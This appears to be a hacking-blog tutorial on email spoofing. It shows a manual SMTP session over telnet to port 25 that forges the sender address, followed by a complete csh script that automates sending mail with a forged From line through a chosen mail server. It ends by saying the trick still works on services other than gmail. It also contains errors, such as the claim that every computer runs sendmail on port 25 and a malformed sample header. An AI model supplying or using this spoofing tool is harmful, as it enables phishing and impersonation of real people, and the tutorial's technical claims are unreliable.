What is an Email Spoofing

What is email Spoofing?

Email Spoofing is a method in which the attacker spoofs his id and send mail to the victim from the spoofed id.Wondering, yes this is possible because of some flaws in the SMTP server. SMTP server is the server which helps you in sending emails.

Ok here we will use a tool known as telnet about which we will learn later.

Let me give you an example and then explain you:

Now the before being involved in email forging.I want to tell you that here I have telnetted to port 25 of gmail.com.The port 25 of all computer run sendmail daemon.

Explaination:

(note the part where numbers are written is not written by me they are response I got after typing the commands.Example:250-smtp.gmail.com)

helo gmail.com

This is the part in which we have to introduce our self to the server.

mail from: hello.hacker@gmail.com

In this line we have to write the email id of the person from whom we are sending the email.In this case it is hello.hacker@gmail.com.

rcpt to: alice@yahoo.co.in

In this line we have to tell the server to whom this email should be sent.

Data

After typing this command we have to type the text that should be included in the email.

Subject:

This command should be included if you want the mail to have a subject. And after this you can press enter and start writing the text that you want to include in the email.

.

And at last you haves to type “.” to tell the server that the message is ended.

And it will send the message to the target.

Another thing in email forging is if you want to send the message to multiple people you can type

“rcpt to:”many number of times.

Now after sending the above email the header generated will be:

Return-Path: <hello.hacker@gmail.com>

Received: from gmail.com

Date: Fri, 7 Jul 2:24:50 +0530(IST)

From: rahul mehta <hello.hacker@gmail.com>

Message-Id: <Mzdfd23472@gmail.com>

Subject: Forge email

Here is a simple unix shell script that when executed can do the samething:

#! /bin/csh -fB

### This is a simple shell script for easy use of anonymous mail. To run the

### program just save it and delete everything up until the #! /bin/csh -fB

### line. Then just type the name you save it as or the name and whoever

###

if ($1 != "") then

set mto=$1

else

echo 'To: '

set mto=$<

endif

echo -n 'From: '

set mfrom=$<

echo -n 'Use which host for smtp (return for '`hostname`') ? '

set usehost=$<

echo -n 'Use which editor (return for vi)? '

set editor=$<

if($editor =="") then

set editor=vi

endif

if ($mfrom == "") then

set mfrom=`whoami`'@'`hostname`

endif

echo 'helo amail' >> tmpamail1

echo 'mail from: '$mfrom >> tmpamail1

echo 'rcpt to: '$mto >> tmpamail1

echo 'data' >> tmpamail1

$editor tmpamail2

clear

echo -n 'Are you sure you want to send this? '

set yorn=$<

if($yorn == 'y') then

echo . >> tmpamail2

echo quit >> tmpamail2

cat tmpamail2 >> tmpamail1

telnet $usehost 25 < tmpamail1 > /dev/null

echo 'Mail has been sent to: '$mto

echo ' From: '$mfrom

endif

rm tmpamail1 tmpamail2

 Now this is not working in gmail because they have fixed it but hey this will work in other mail services.

Posted in: Ethical Hacking